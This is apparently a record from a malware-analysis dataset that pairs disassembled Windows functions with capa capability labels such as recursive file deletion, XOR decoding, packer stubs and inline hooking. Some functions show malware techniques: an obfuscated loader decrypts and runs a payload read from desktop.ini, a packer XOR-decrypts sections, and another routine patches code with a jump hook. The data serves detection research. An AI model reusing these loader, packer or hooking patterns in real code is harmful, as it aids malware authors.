joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407bbf
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4d8
mov eax, dword [0x4255d4]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push edi
lea eax, [ebp - 0x24c]
mov dword [ebp - 0x4d8], ecx
call fcn.00404589
cmp dword [ebp - 0x238], 8
mov eax, dword [ebp - 0x24c]
jae 0x407bff
lea eax, [ebp - 0x24c]
lea ecx, [ebp - 0x4d4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x407c38
xor bl, bl
push 0
push 1
lea ecx, [ebp - 0x24c]
call fcn.00401455
mov ecx, dword [ebp - 8]
pop edi
pop esi
mov al, bl
xor ecx, ebp
pop ebx
call fcn.0040bfa2
leave
ret 4
push 0x4228e0
lea esi, [ebp - 0x284]
call fcn.004012ca
push 0x4228e4
lea esi, [ebp - 0x268]
call fcn.004012ca
test byte [ebp - 0x4d4], 0x10
je 0x407cb7
lea eax, [ebp - 0x4a8]
push eax
lea ecx, [ebp - 0x284]
call fcn.00406767
test eax, eax
je 0x407d21
lea eax, [ebp - 0x4a8]
push eax
lea ecx, [ebp - 0x268]
call fcn.00406767
test eax, eax
je 0x407d21
lea eax, [ebp - 0x4a8]
push eax
lea esi, [ebp - 0x230]
call fcn.004012ca
mov ecx, dword [ebp - 0x4d8]
mov eax, esi
push eax
call fcn.00407bbf
jmp 0x407d12
cmp dword [edi + 0x14], 8
jb 0x407cc1
mov eax, dword [edi]
jmp 0x407cc3
mov eax, edi
lea ecx, [ebp - 0x4a8]
push ecx
push eax
push 5
push 0x42619c
call fcn.00406b9b
push eax
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x214]
push eax
lea esi, [ebp - 0x230]
call fcn.004012ca
cmp dword [ebp - 0x21c], 8
mov eax, dword [ebp - 0x230]
jae 0x407d0b
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 1
lea ecx, [ebp - 0x230]
call fcn.00401455
lea eax, [ebp - 0x4d4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x407c58
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [edi + 0x14], 8
jb 0x407d46
mov edi, dword [edi]
push edi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
push 1
lea ecx, [ebp - 0x268]
call fcn.00401455
push 0
push 1
lea ecx, [ebp - 0x284]
call fcn.00401455
mov bl, 1
jmp 0x407c16
Function at 0x409562
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push edi
mov edi, edx
test ecx, ecx
jne 0x40956d
xor eax, eax
pop edi
ret
push esi
not eax
mov edx, 0xff
cmp edi, 8
jb 0x409621
mov esi, edi
shr esi, 3
push ebx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x422458]
movzx ebx, byte [ecx + 1]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x422458]
movzx ebx, byte [ecx + 2]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x422458]
movzx ebx, byte [ecx + 3]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x422458]
movzx ebx, byte [ecx + 4]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x422458]
movzx ebx, byte [ecx + 5]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x422458]
movzx ebx, byte [ecx + 6]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x422458]
movzx ebx, byte [ecx + 7]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x422458]
add ecx, 8
sub edi, 8
dec esi
jne 0x409584
pop ebx
test edi, edi
je 0x40963a
movzx esi, byte [ecx]
xor esi, eax
and esi, edx
shr eax, 8
xor eax, dword [esi*4 + 0x422458]
inc ecx
dec edi
jne 0x409625
pop esi
not eax
pop edi
ret

Function at 0x40963f
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [ecx]
movsx edx, dl
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x422458]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x422458]
pop esi
mov dword [ecx + 8], eax
ret

Function at 0x409ca2
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
imul edi, dword [ebp + 0x10]
cmp byte [esi], 0
je 0x409cd2
push 0
lea eax, [ebp + 8]
push eax
push edi
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x409ccd
mov byte [esi + 8], 1
mov eax, dword [ebp + 8]
jmp 0x409cfa
mov ecx, dword [esi + 0x1c]
mov eax, dword [esi + 0x18]
lea edx, [ecx + edi]
cmp edx, eax
jbe 0x409ce3
sub eax, ecx
mov edi, eax
mov eax, dword [esi + 0x14]
push edi
add eax, ecx
push eax
push dword [ebp + 8]
call fcn.0040eb90
add esp, 0xc
add dword [esi + 0x1c], edi
mov eax, edi
xor edx, edx
div dword [ebp + 0xc]
pop edi
pop ebp
ret 0xc
Function at 0x40aa85
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebx], 0
push esi
push edi
jne 0x40ab29
cmp dword [ebx + 4], 0xffffffff
jne 0x40ab29
lea esi, [ebx + 0x244]
push esi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40aab4
sub eax, edx
sar eax, 1
movzx eax, word [ebx + eax*2 + 0x242]
cmp eax, 0x5c
je 0x40aaec
cmp eax, 0x2f
je 0x40aaec
sub esi, 2
mov ax, word [esi + 2]
add esi, 2
test ax, ax
jne 0x40aad8
mov edi, esi
mov esi, 0x421094
movsd dword es:[edi], dword [esi]
push 0x20
call fcn.0040c5f3
and dword [eax + 0x1c], 0
and dword [eax + 0xc], 0
pop ecx
mov ecx, dword [ebp + 8]
mov dword [eax + 0x14], ecx
mov ecx, dword [ebp + 0xc]
push eax
mov word [eax], 0x100
mov byte [eax + 0x10], 0
mov dword [eax + 0x18], ecx
call fcn.00409f17
mov dword [ebx], eax
neg eax
sbb eax, eax
and eax, 0xfffffe00
add eax, 0x200
jmp 0x40ab2e
mov eax, 0x1000000
pop edi
pop esi
pop ebp
ret 8

Function at 0x40bfa2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4255d4]
jne 0x40bfac
repz ret
jmp fcn.00410ae9
Function at 0x41c563
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4255d4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0041177e
and dword [ebp - 0x14], 0
cmp dword [0x428994], 0
mov dword [ebp - 0x18], eax
jne 0x41c616
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41c6be
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x420fcc
push ebx
call edi
test eax, eax
je 0x41c6be
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x428994], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x428998], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x42899c], eax
call edi
push eax
call esi
mov dword [0x4289a4], eax
test eax, eax
je 0x41c616
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4289a0], eax
mov eax, dword [0x4289a0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41c66f
cmp dword [0x4289a4], ecx
je 0x41c66f
push eax
call esi
push dword [0x4289a4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41c66f
test ebx, ebx
je 0x41c66f
call edi
test eax, eax
je 0x41c666
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41c666
test byte [ebp - 8], 1
jne 0x41c66f
or dword [ebp + 0x10], 0x200000
jmp 0x41c6a2
mov eax, dword [0x428998]
cmp eax, dword [ebp - 0x18]
je 0x41c6a2
push eax
call esi
test eax, eax
je 0x41c6a2
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41c6a2
mov eax, dword [0x42899c]
cmp eax, dword [ebp - 0x18]
je 0x41c6a2
push eax
call esi
test eax, eax
je 0x41c6a2
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x428994]
call esi
test eax, eax
je 0x41c6be
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41c6c0
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040bfa2
leave
ret
Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x408927
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x4085d8
and ebx, ecx
add ebx, 1
call fcn.00408951
add ebx, 0xac11e1e1
xor dword [edx], eax
inc edx
cmp edx, esi
jne fcn.00408927
or ebx, ecx
add ecx, 0xd5d9bfe1
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x34c44da0
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x5ae20853
nop
nop
nop
nop
test eax, eax
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x100066e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf4
push ebx
push esi
push edi
lea edi, [ebp - 0x34]
mov ecx, 0xd
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x10017024]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0x1001a087
call fcn.1000150a
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
cmp dword [ebp + 0x10], 5
jge 0x1000671f
xor eax, eax
jmp 0x10006790
mov esi, esp
lea eax, [ebp - 0x18]
push eax
push 0x40
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp esi, esp
call fcn.100013a2
mov eax, dword [ebp + 0x10]
push eax
push 0x90
mov ecx, dword [ebp - 0xc]
push ecx
call sub.VCRUNTIME140D.dll_memset
add esp, 0xc
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp - 0xc]
sub eax, 5
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0xc]
mov byte [eax], 0xe9
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x24]
mov dword [eax + 1], ecx
mov esi, esp
lea eax, [ebp - 0x30]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp esi, esp
call fcn.100013a2
mov eax, 1
push edx
mov ecx, ebp
push eax
lea edx, [0x100067c0]
call fcn.1000130c
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000123a
add esp, 0xf4
cmp ebp, esp
call fcn.100013a2
mov esp, ebp
pop ebp
ret
Function at 0x1000a810
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xec
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0x2c]
mov ecx, 0xb
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov dword [ebp - 8], ecx
mov ecx, 0x1001a083
call fcn.1000150a
mov eax, dword [ebp - 8]
cmp dword [eax + 0x38], 0
je 0x1000a866
mov esi, esp
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 8]
call dword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
cmp esi, esp
call fcn.100013a2
jmp 0x1000a978
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], ecx
mov esi, esp
mov ecx, dword [ebp - 8]
call dword [sym.imp.MSVCP140D.dll_protected:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const]
cmp esi, esp
call fcn.100013a2
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
cmp dword [ebp + 0x10], 0
jl 0x1000a920
jg 0x1000a8a0
cmp dword [ebp + 0xc], 0
jbe 0x1000a920
cmp dword [ebp - 0x24], 0
jl 0x1000a920
jg 0x1000a8ae
cmp dword [ebp - 0x28], 0
jbe 0x1000a920
mov eax, dword [ebp + 0x10]
cmp eax, dword [ebp - 0x24]
jg 0x1000a8cc
jl 0x1000a8c0
mov ecx, dword [ebp + 0xc]
cmp ecx, dword [ebp - 0x28]
jae 0x1000a8cc
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov esi, esp
mov ecx, dword [ebp - 8]
call dword [sym.imp.MSVCP140D.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const]
cmp esi, esp
call fcn.100013a2
push eax
call fcn.100014dd
add esp, 0xc
mov eax, dword [ebp - 0x28]
add eax, dword [ebp + 8]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp - 0x28]
mov ecx, dword [ebp + 0x10]
sbb ecx, dword [ebp - 0x24]
mov dword [ebp + 0xc], eax
mov dword [ebp + 0x10], ecx
mov eax, dword [ebp - 0x28]
mov esi, esp
push eax
mov ecx, dword [ebp - 8]
call dword [sym.imp.MSVCP140D.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int_]
cmp esi, esp
call fcn.100013a2
cmp dword [ebp + 0x10], 0
jl 0x1000a96c
jg 0x1000a92e
cmp dword [ebp + 0xc], 0
jbe 0x1000a96c
mov eax, dword [ebp - 8]
cmp dword [eax + 0x4c], 0
je 0x1000a96c
mov esi, esp
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x4c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 1
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ucrtbased.dll_fwrite]
add esp, 0x10
cmp esi, esp
call fcn.100013a2
xor ecx, ecx
mov edx, dword [ebp + 0xc]
sub edx, eax
mov eax, dword [ebp + 0x10]
sbb eax, ecx
mov dword [ebp + 0xc], edx
mov dword [ebp + 0x10], eax
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0x14]
sbb edx, dword [ebp + 0x10]
pop edi
pop esi
pop ebx
add esp, 0xec
cmp ebp, esp
call fcn.100013a2
mov esp, ebp
pop ebp
ret 0xc
Function at 0x402da4
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00404974
test esi, esi
jne 0x402dda
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00404a64
jmp 0x402df8
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402cb8
mov edi, eax
test esi, esi
je 0x402df8
cmp dword [ebx], 0
je 0x402df8
dec esi
jmp 0x402de1
add esp, 0x108
pop edi
pop esi
pop ebx

Function at 0x4030f0
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x564008], 0x8088405
inc edx
mov dword [ebx + 0x564008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x403994
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x564024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403a2c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403a0c
xor eax, eax
push ebp
push 0x403a05
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403a48
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403a0c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x564024]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x564024], ax
mov esp, ebp
pop ebp
ret

Function at 0x404754
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x56a04c], 0
je 0x4047b5
cmp word [0x56a220], 0xd7b2
jne 0x40477d
cmp dword [0x56a228], 0
jbe 0x40477d
mov eax, 0x56a21c
call dword [0x56a238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x56409c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4047dc
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
cmp byte [0x564034], 0
jne 0x4047d1
push 0
push 0x564094
push 0x56409c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x404928
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402a34
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x56a04d], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x4048f0
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x4065e4
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x406814
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x406667
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x406814
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x406667
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x406830
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4066f0
xor eax, eax
push ebp
push 0x4066e9
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.0040642c
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x4066ce
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x406850
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x4066ce
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4066f0
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x40680a
cmp byte [ebp - 0xd], 0
jne 0x406737
cmp byte [ebp - 0x12], 0
je 0x40680a
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x406750
dec ebx
cmp byte [ebx], 0x2e
je 0x40675f
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x40674f
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x40680a
inc ebx
cmp byte [ebp - 0x12], 0
je 0x40679c
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x40680a
cmp byte [ebp - 0xd], 0
je 0x40680a
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x40680a
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp